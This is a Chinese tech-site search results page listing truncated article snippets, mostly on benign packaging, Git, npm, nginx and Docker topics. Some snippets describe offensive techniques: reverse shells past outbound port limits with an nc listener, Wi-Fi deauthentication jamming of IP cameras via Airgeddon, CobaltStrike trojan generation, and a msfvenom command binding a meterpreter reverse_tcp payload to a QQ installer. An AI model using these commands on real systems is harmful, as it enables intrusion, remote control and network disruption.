首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用 exe4j 将 Spring Boot 项目打包为 EXE 可执行文件

选择项目类型 在 Executable Type 页面,选择 JAR in EXE mode(将 JAR 包转换为 EXE 文件),然后点击 Next。 3....配置启动动画 可忽略 8.配置Message 可忽略 9.编译 编译完成后在输出目录就能看到了 此时直接点击输出目录的exe文件即可运行,或者点击截图里面的Click Here to Start the...兼容性问题: Exe4j 仅支持 JDK 1.8 至 11,请确保 JDK 版本在此范围内。...路径配置: 使用相对路径可以提高可移植性,尤其是在捆绑 JRE 的情况下。 验证 EXE 文件 将生成的 EXE 文件和依赖的 JAR 或捆绑的 JRE 一起复制到目标环境。...双击 EXE 文件,验证是否能正常运行。 在命令行中运行 EXE 文件,检查是否有错误日志输出。

41210

照弹不误:出站端口受限环境下反弹Shell的思考

等待许久,攻击端就是不见回连信息,显然,一定是目标上的某种防御在作祟。导致反弹失败的因素很多,反弹命令不存在、禁止出站 IP、流量审查等等都有可能,于是,我从积累的知识库中搜索所有可能,再逐一验证。...比如,要验证 windows 目标的 8088 端口是否为出站端口,我先在攻击端用 nc -n -v -lp 8088 监听 8088,指定 -v 选项观察实时访问记录,再在目标上用 telnet 192.168.56.8...验证下,在攻击端将全量端口捆绑至 4442 端口: ? 监听 10086 端口: ? 靶机目标取消所有出站限制,访问攻击端的 10086 端口: ? 显示端口不存活!...验证完毕,不再需要端口捆绑,恢复先前规则: ? 安逸哇,这样我监听单个端口即可获取全量端口的探测记录。...尝试在 nmap 定义的 top100 常见端口范围内找寻允许出站的端口,很快找到 2048 为有效端口: ? 第五步,反弹 shell。首先,攻击端取消端口捆绑: ?

2.9K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    如何使用Airgeddon搭建基于软件的WIFI干扰器

    电子战可以在避免直接与这些系统交互的情况下破坏及操纵这些自动化设备所依赖的数据库连接。如果失去了可靠的连接,这些设备往往就会停止工作。 黑客如何使用电子战技术 电子战一直是一些大新闻的核心。...解除认证攻击 在本文中,我们所说的“干扰”是指针对WIFI网络的拒绝服务攻击(DoS)。软件干扰不会像硬件干扰那样压制信号(如GPS欺骗),它会通过伪造数据包来不断请求范围内的所有设备断开连接。...如何干扰无线IP摄像头 在现在的场景中,我们希望使连接到网络“HAZELBEAR”的无线摄像头停止工作。众所周知,一些摄像头依靠WIFI连接将视频流传输到服务器。...在你键入sudo bash命令后,Airgeddon会检查更新以及缺失的依赖。如果缺失了一些可选的依赖,在本教程中没有太大问题,完全更新后的Kali Linux应该具备了所有必要的工具。...在确认一个有客户端连接的目标网络后,输入前面的序号,接下来就会进入攻击选择菜单。

    3.3K100

    警惕!你下载的软件可能携带STOP勒索病毒变种

    前言 近日,深信服EDR安全团队捕获到一起通过捆绑软件运行勒索病毒的事件。勒索病毒与正常的应用软件捆绑在一起运行,捆绑的勒索病毒为STOP勒索病毒的变种,加密后缀为.djvu。...一、勒索病毒母体携带者 cexplorer.exe是被捆绑了恶意软件的安装包,使用Resource Hacker查看其资源,可以发现其中夹藏着两个PE文件。 ?...获取进程运行的参数,如下所示: ? 然后设置相应的启动参数,启动进程,如下所示: ? 相应的代码,如下所示: ?...加密后的文件,如下所示: ? 同时在相应的目录下生成_openme.txt的勒索信息文本文件,如下所示: ?...五、3.exe 3.exe其实是一个压缩包,包含被修改的TeamViewer。修改后的TeamViewer运行无界面,攻击者可通过它控制受害者主机。 ?

    95120

    Windows 下的 SSH 管理工具: 深入解析 start-ssh-agent.cmd

    它通常与 Git for Windows 捆绑在一起,使开发者能够方便地在 Windows 平台上管理 SSH 密钥,尤其是使用 Git 仓库的时候。...在 Windows 中,如果你需要使用 SSH 密钥连接到 GitHub,且没有 SSH Agent,你每次在 git push 时都必须手动输入密钥密码,这个过程显然非常繁琐。...在这种情况下,SSH Agent 起到了一个中介的作用:用户只需在初次加载密钥时输入密码,接下来的所有连接尝试都会由 Agent 代为完成身份验证。...三、如何使用 start-ssh-agent.cmd在使用 Git for Windows 时,start-ssh-agent.cmd 一般会位于 Git 安装目录中。...这是因为 SSH Agent 的进程会在系统关机或重启时被关闭,为解决这一问题,用户可以将 start-ssh-agent.cmd 添加到 Windows 的启动脚本中,确保每次启动后 SSH Agent

    10400

    13 个 npm 快速开发技巧

    如果需要在本地保存一个npm包,或者通过单个文件下载选择一组可用的包,可以使用--save-bundle或-B将它们捆绑在一起,并使用npm pack获得捆绑包。 根的快捷方式 ....让脚本跨平台兼容 任何在命令行上运行的代码都有兼容性问题的风险,特别是在Windows和基于unix的系统(包括Mac和Linux)之间。...并行运行脚本 可以使用&&来依次运行两个或多个进程。但是并行运行脚本呢?为此,我们可以从各种npm包中进行选择。concurrent 和 npm-run-all 是最流行的解决方案。...wait-on 节点模块提供了一种方便的方法来确保进程只在某些进程就绪时发生:在我们的例子中,我们有一个特定的端口。 例如,这是我在使用React前端的Electron项目中使用的dev脚本。...(在Windows上,通常是 c/Users/,在 Mac 上,它是/Users/)。 让我们首先在我们的主目录中创建一个.nmm-init.js文件。

    1.5K50

    国庆节前端技术栈充实计划(1):使用Nginx配置HTTPS 服务器

    私钥是一个安全实体,应该存储在具有受限访问的文件中,但它必须可被nginx主进程读取。...在多处理器系统上,应该运行不少于可用CPU内核数的多个 工作进程。最耗CPU的操作是SSL握手。...:0B080074:x509 certificate routines: X509_check_private_key:key values mismatch) 因为nginx尝试去使用私钥与捆绑后证书的第一个证书验证而不是它本该去验证的服务器证书...之前的版本无法向上面那样为单个侦听套接字选择性启用SSL,而只能使用 ssl指令为整个服务器启用SSL,从而无法设置单个HTTP / HTTPS虚拟主机服务器,所以在 listen指令后增加了 ssl参数来解决此问题...的浏览器; Safari 3.2.1 (Windows版本支持Windows Vista及更高版本); Chrome (Windows版本支持Windows Vista及更高版本).

    99030

    docker简介与背景知识

    概述 为什么会有 docker 出现 之前在服务器配置一个应用的运行环境,要安装各种软件,Java/RabbitMQ/MySQL/JDBC 驱动包等。...假如我们是在 Windows 上安装的这些环境,到了 Linux 又得重新装。况且就算不跨操作系统,换另一台同样操作系统的服务器,要移植应用也是非常麻烦的。...它可以在一种操作系统里面运行另一种操作系统,比如在 Windows 10 系统里面运行 Linux 系统 CentOS 7。...对比 比较了 Docker 和传统虚拟化方式的不同之处: 传统虚拟机技术是虚拟出一套硬件后,在其上运行一个完整操作系统,在该系统上再运行所需应用进程; 容器内的应用进程直接运行于宿主的内核,容器内没有自己的内核且也没有进行硬件虚拟...Docker化之后只需要交付少量容器镜像文件,在正式生产环境加载镜像并运行即可,应用安装配置在镜像里已经内置好,大大节省部署配置和测试验证时间。

    20330

    离线使用 Git

    Git 捆绑包 git 捆绑包允许将存储库的部分或全部压缩为 git 能够克隆和获取的格式的单个文件。 工作流程与以前非常相似,但不是复制整个存储库目录,而是创建 git 包。...在第一台机器上使用以下命令创建捆绑包: git bundle create repoName.bundle --all 选项捆绑整个存储库,包括所有分支和标签。可以使用 或 选择特定分支或标签。...将捆绑包复制到将发生合并的计算机,并使用以下命令提取更改: git pull /path/to/repoName.bundle 合并/变基完成后,使用以下命令创建另一个包: git bundle create...将捆绑文件移动到其他计算机并使用以下命令更新那里的更改: git pull /path/to/repoName.bundle 创建本地远程存储库 捆绑包解决了在没有网络的情况下同步 Git 存储库的问题...branchName 然后可以在本地存储库中进行更改,或者从其他开发计算机上创建的捆绑包中进行更改。

    26610

    基于Git和Nginx搭建自己的私人图床,告别图片404

    进入宝塔面板内,到软件商店内下载: 图片 安装后: 图片 这样Nginx就已经安装好了。 设置图床网站? 本章节目录,所有操作在Linux服务器内操作(e.g....本地安装Git 这里配置本地的Git,有两种方法: 配置Git命令行工具包:下载Git的命令行工具包,配置到环境变量。...home目录下,即可看到新添加的git用户: 图片 最后,我们把网站根目录的归属移交给git用户,方便后使用git工具推送图片后,有权限重定向到网站目录内读写: chown -R git:git /www...本地远程SSH后的窗口),不是本地Windows或macOS,特此提醒 切换用户 为了避免权限问题,我们切换为刚刚创建的git用户: # 切换为git用户 sudo su git 图片 创建仓库 进入...在安装好后,以下方法二选一: 在powershell或terminal内同步仓库到本地。 使用GitHub Desktop进行可视化同步仓库到本地。

    3.3K72

    多进程与多线程的应用

    start():进程准备就绪,等待CPU调度 run():strat()调用run方法,是主进程了运行了run而不是子进程 terminate():不管任务是否完成,立即停止工作进程 3.进程的属性 daemon...linux与windows中区别 在windows开启一个子进程他会把主程序自上而下重新运行一遍,所以我们在windows中必须把和子程序相关的丢入main里面中 在linux中只是会记录主程序的自上而下运行后最后的运行状态...允许在同一线程中被多次acquire。...start():进程准备就绪,等待CPU调度 run():strat()调用run方法,是主线程了运行了run而不是子进程 terminate():不管任务是否完成,立即停止工作线程 3.线程的属性 与进程相似...4.线程的守护 与进程相似 5.子线程的运行在linux与windows中区别 没有区别,都与进程在linux运行的方式一样

    52741

    吐血教程:搭建Flutter开发环境

    2.安装Git Flutter依赖的命令行工具为Git for Windows(Git命令行工具)。...Windows版本的下载地址为https://git-scm.com/download/win。 3.下载安装Flutter SDK 在Flutter官网下载最新可用的安装包。...另外,在中国大陆地区,要想获取安装包列表或下载安装包有可能发生困难,读者也可以去Flutter GitHub项目下去下载安装Release包。...图1-9 验证配置信息 5)在工具栏选择刚刚添加的模拟器,如图1-10所示。 图1-10 在工具栏选择模拟器 6)也可以在命令行窗口运行flutter run命令启动模拟器。...打开后的模拟器如图1-15所示。 接下来,在终端运行flutter run命令或者打开Xcode,按图1-16所示选择好模拟器。点击运行按钮即可启动应用。

    5.8K20

    工具的使用 | CobaltStrike的使用

    CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,windows exe 木马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。...启动后的客户端: 我们也可以打开windows下的cobaltstrike客户端,然后把ip设置为我们的启动时候的ip即可。...Dropper        捆绑器,能够对文档类进行捆绑; Windows Executable      生成可执行exe木马; Windows Executable(S)    生成无状态的可执行...在Github上有一个提权工具包,使用这个提权工具包可以增加几种提权方法:https://github.com/rsmudge/ElevateKit 。...我们下载好该提权工具包后 如下: 再打开我们的提权,可以看到多了几种提权方式了 利用被控主机建立Socks4代理 当我们控制的主机是一台位于公网和内网边界的服务器 ,我们想利用该主机继续对内网进行渗透

    3.2K20

    msf之木马程序

    捆绑木马 这里使用的是Kali linux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个...然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe...,:设置反弹回来的ip,即你的kali的ip地址 还可以设置返回的端口,这里就不设置了,默认返回端口是4444 -f: 代表要捆绑的文件类型,这里是一个exe文件 -x:指定你要捆绑的文件的路径及文件名...会话移植到指定pid值进程中 clearav #清除windows中的应用程序日志、系统日志、安全日志 enumdesktops #查看可用的桌面...这是更改图标后与更改前的区别 ? 因为需要管理员权限才能执行,所以多了个盾牌的标记。

    1.9K62

    .NET Core 3.0】框架之十三 || 部署攻略

    hosting 的原因 ⑤、安装 windows hosting(服务托管);//这是一个捆包,已经包含 Runtime(下载地址见下文 错误码 500.19 的解决方案中) ⑥、检查是否有指定的...1、错误码 —— 500.00 解析:发布后启动失败,进程内,网友提供,暂时我还没遇到 方案: 方法1: 应用池高级配置 - 启动32位应用程序 - 设置为True 方法2: web.config...服务器托管,打不开当前项目的 模块 选项 方案: 安装和项目匹配的 服务器托管( windows hosting ),这个是捆绑的可执行文件,除了托管,也把x86 和 x64的运行时都一起安装好了...3、错误码 —— 500.21 解析:没有安装指定的模块,如果你想问这个模块是在项目哪里写的,可以查看发布后的 web.config 文件 方案: 1、如果你没有安装上边的 windows-hosting...4、错误码 —— 500.30 解析:进程内失败,这个我没有遇到,有群里小伙伴说的。

    4.6K30

    将配置存储在容器registry而非Git中的优势

    除了Git,甚至可以替代Git,为什么您应该考虑将配置文件存储在容器注册表中?...将配置文件和包存储在 Git 中非常常见。有时它们与源代码一起提交,有时与其他配置包一起存储,有时则位于它们自己的存储库中。...毕竟,容器镜像本质上是一组文件的捆绑包。(能够将镜像作为卷挂载到 Kubernetes 中运行的容器中本来是很好的,但这又是另一个问题。)...此外,注册表 API 和身份验证方法比对象存储或 Git 提供商更标准化。这使得它们更容易集成。...因为镜像比包含配置包的典型 Git 存储库更细粒度、更集中的文件捆绑包,并且它们可以使用有关其内容的信息进行注释,所以容器注册表中的配置包比位于 Git 存储库子目录中的配置包更容易发现、列出和过滤。

    8710

    微软推出了Cloud Native Application Bundles和开源ONNX Runtime

    ,可以安装,升级,卸载,加密签名和验证CNAB捆绑包的完整性。...此外,CNAB的可扩展体系结构使用户能够对包进行签名,数字验证和附加签名,即使底层技术本身不支持这些功能,也可以控制捆绑包的使用方式。...它还支持导出捆绑包及其依赖项,以及在存储库中存储捆绑包以进行远程搜索,获取和安装。 ONNX运行时 微软在开源中提供了大量框架和引擎。...它从今天开始在GitHub上提供,可以自定义并直接集成到现有代码库中,或者从源代码编译,在Windows 10,Linux和各种其他操作系统上运行。...它可以在嵌入式设备,Windows和Linux上运行......它极大地简化了开发人员的生活。

    71720
    领券